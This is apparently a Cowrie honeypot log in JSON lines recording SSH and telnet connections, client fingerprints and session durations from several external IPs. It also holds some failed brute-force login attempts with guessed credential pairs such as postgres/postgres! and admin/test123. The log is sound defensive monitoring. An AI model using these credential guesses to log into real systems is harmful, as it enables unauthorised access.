{"eventid":"cowrie.session.closed","duration":38.01560354232788,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:50.088698Z","src_ip":"162.253.42.116","session":"acbb8c2e2b70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":51882,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f3dea99e6db","protocol":"ssh","message":"New connection: 103.180.212.135:51882 (159.203.135.109:22) [session: 4f3dea99e6db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:50.133037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:50.138245Z","src_ip":"103.180.212.135","session":"4f3dea99e6db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:50.333821Z","src_ip":"103.180.212.135","session":"4f3dea99e6db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres!","message":"login attempt [postgres/postgres!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:51.147932Z","src_ip":"103.180.212.135","session":"4f3dea99e6db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:52.345469Z","src_ip":"103.180.212.135","session":"4f3dea99e6db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33200,"dst_ip":"159.203.135.109","dst_port":22,"session":"9aa45fcbcdd2","protocol":"ssh","message":"New connection: 159.203.92.129:33200 (159.203.135.109:22) [session: 9aa45fcbcdd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:53.532340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:53.537068Z","src_ip":"159.203.92.129","session":"9aa45fcbcdd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:53.545927Z","src_ip":"159.203.92.129","session":"9aa45fcbcdd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anatempo6conda","password":"123456","message":"login attempt [anatempo6conda/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:53.557935Z","src_ip":"159.203.92.129","session":"9aa45fcbcdd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":58276,"dst_ip":"10.17.0.5","dst_port":23,"session":"645917e484e3","protocol":"telnet","message":"New connection: 162.253.42.116:58276 (10.17.0.5:23) [session: 645917e484e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:53.898762Z"}
{"eventid":"cowrie.session.closed","duration":38.12397217750549,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:54.032787Z","src_ip":"185.26.126.47","session":"f7357f7a24bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:54.567749Z","src_ip":"159.203.92.129","session":"9aa45fcbcdd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.93773794174194,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:54.649482Z","src_ip":"162.253.42.116","session":"d9bb0460d0db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":45536,"dst_ip":"10.17.0.5","dst_port":23,"session":"21498ad89a87","protocol":"telnet","message":"New connection: 194.195.250.213:45536 (10.17.0.5:23) [session: 21498ad89a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:55.533163Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":45534,"dst_ip":"10.17.0.5","dst_port":23,"session":"928f4f2d39d3","protocol":"telnet","message":"New connection: 194.195.250.213:45534 (10.17.0.5:23) [session: 928f4f2d39d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:55.565707Z"}
{"eventid":"cowrie.session.closed","duration":35.58162188529968,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:56.106491Z","src_ip":"162.253.42.116","session":"7ec6d894286d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.41322898864746,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:58.646172Z","src_ip":"162.253.42.116","session":"51ec14dc8288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":38176,"dst_ip":"10.17.0.5","dst_port":23,"session":"75e32d0c2b06","protocol":"telnet","message":"New connection: 162.253.42.116:38176 (10.17.0.5:23) [session: 75e32d0c2b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:59.855039Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":42452,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f099cfb4a11","protocol":"ssh","message":"New connection: 165.154.5.173:42452 (10.17.0.5:22) [session: 5f099cfb4a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:59.906170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:24:59.910853Z","src_ip":"165.154.5.173","session":"5f099cfb4a11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:00.130922Z","src_ip":"165.154.5.173","session":"5f099cfb4a11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test123","message":"login attempt [admin/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:01.051349Z","src_ip":"165.154.5.173","session":"5f099cfb4a11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.99275040626526,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:01.229610Z","src_ip":"162.253.42.116","session":"dd6c902374d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:02.273990Z","src_ip":"165.154.5.173","session":"5f099cfb4a11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59762,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e7d272e6617","protocol":"ssh","message":"New connection: 102.213.34.99:59762 (10.17.0.5:22) [session: 0e7d272e6617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:06.927608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:06.933019Z","src_ip":"102.213.34.99","session":"0e7d272e6617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":58800,"dst_ip":"10.17.0.5","dst_port":23,"session":"9966b24e53c4","protocol":"telnet","message":"New connection: 194.195.250.213:58800 (10.17.0.5:23) [session: 9966b24e53c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:07.065077Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:07.106748Z","src_ip":"102.213.34.99","session":"0e7d272e6617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.92847466468811,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:07.517137Z","src_ip":"162.253.42.116","session":"3d4e5e0dc418","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Ubuntu","password":"ubuntu.123","message":"login attempt [Ubuntu/ubuntu.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:07.818503Z","src_ip":"102.213.34.99","session":"0e7d272e6617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:08.993126Z","src_ip":"102.213.34.99","session":"0e7d272e6617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.64085912704468,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:09.563354Z","src_ip":"162.253.42.116","session":"9fb716745e49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.58391308784485,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:19.234147Z","src_ip":"162.253.42.116","session":"29d4eb80f80f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.29761862754822,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:27.196250Z","src_ip":"162.253.42.116","session":"645917e484e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":42156,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ea2fee6396a","protocol":"telnet","message":"New connection: 162.253.42.116:42156 (10.17.0.5:23) [session: 1ea2fee6396a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:27.680619Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45990,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd0cd57d6ac0","protocol":"telnet","message":"New connection: 185.26.126.47:45990 (159.203.135.109:23) [session: dd0cd57d6ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:33.293414Z"}
{"eventid":"cowrie.session.closed","duration":38.315322399139404,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:33.848358Z","src_ip":"194.195.250.213","session":"21498ad89a87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.57604479789734,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:35.141642Z","src_ip":"194.195.250.213","session":"928f4f2d39d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.42458462715149,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:35.279537Z","src_ip":"162.253.42.116","session":"75e32d0c2b06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55786,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c86282a4070","protocol":"ssh","message":"New connection: 159.203.92.129:55786 (159.203.135.109:22) [session: 0c86282a4070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:36.884991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:36.889383Z","src_ip":"159.203.92.129","session":"0c86282a4070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:36.893675Z","src_ip":"159.203.92.129","session":"0c86282a4070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anatempo6conda","password":"anatempo6conda","message":"login attempt [anatempo6conda/anatempo6conda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:36.906796Z","src_ip":"159.203.92.129","session":"0c86282a4070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:37.912623Z","src_ip":"159.203.92.129","session":"0c86282a4070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.82819986343384,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:42.893157Z","src_ip":"194.195.250.213","session":"9966b24e53c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":35304,"dst_ip":"159.203.135.109","dst_port":22,"session":"49be5ef2879a","protocol":"ssh","message":"New connection: 103.180.212.135:35304 (159.203.135.109:22) [session: 49be5ef2879a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:49.002404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:49.006750Z","src_ip":"103.180.212.135","session":"49be5ef2879a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:49.202121Z","src_ip":"103.180.212.135","session":"49be5ef2879a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"admin","message":"login attempt [ts3/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:50.016981Z","src_ip":"103.180.212.135","session":"49be5ef2879a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:25:51.214525Z","src_ip":"103.180.212.135","session":"49be5ef2879a","protocol":"ssh"}
